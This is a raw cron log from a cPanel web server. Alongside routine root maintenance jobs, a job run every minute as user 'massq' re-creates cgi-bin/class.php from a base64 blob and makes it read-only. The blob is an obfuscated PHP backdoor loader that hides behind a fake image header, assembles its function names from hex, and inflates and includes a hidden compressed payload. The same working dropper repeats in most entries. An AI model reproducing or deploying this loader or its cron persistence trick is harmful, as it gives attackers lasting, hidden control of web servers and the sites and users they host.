Sep  1 18:00:01 server CROND[1592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:00:01 server CROND[1595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:00:01 server CROND[1597]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 18:00:01 server CROND[1599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:00:01 server CROND[1591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:01:01 server CROND[2611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:01:01 server CROND[2612]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 18:01:01 server CROND[2613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:01:01 server CROND[2614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:01:01 server run-parts(/etc/cron.hourly)[2612]: starting 0anacron
Sep  1 18:01:01 server run-parts(/etc/cron.hourly)[2633]: finished 0anacron
Sep  1 18:02:01 server CROND[3034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:02:01 server CROND[3035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:02:01 server CROND[3036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:03:01 server CROND[3423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:03:01 server CROND[3424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:03:01 server CROND[3425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:04:01 server CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:04:01 server CROND[3868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:04:01 server CROND[3869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:05:01 server CROND[4278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:05:01 server CROND[4282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:05:01 server CROND[4286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:05:01 server CROND[4288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:05:01 server CROND[4289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:05:01 server CROND[4287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:05:01 server CROND[4285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:05:01 server CROND[4290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:06:01 server CROND[5247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:06:01 server CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:06:01 server CROND[5249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:07:01 server CROND[5630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:07:01 server CROND[5631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:07:01 server CROND[5632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:08:01 server CROND[6020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:08:01 server CROND[6021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:08:01 server CROND[6022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:09:01 server CROND[6405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:09:01 server CROND[6406]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 18:09:01 server CROND[6408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:09:01 server CROND[6407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:10:01 server CROND[6818]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 18:10:01 server CROND[6819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:10:01 server CROND[6822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:10:01 server CROND[6823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:10:01 server CROND[6824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 18:10:01 server CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:10:01 server CROND[6828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:10:01 server CROND[6826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:11:01 server CROND[7674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:11:01 server CROND[7675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:11:01 server CROND[7678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
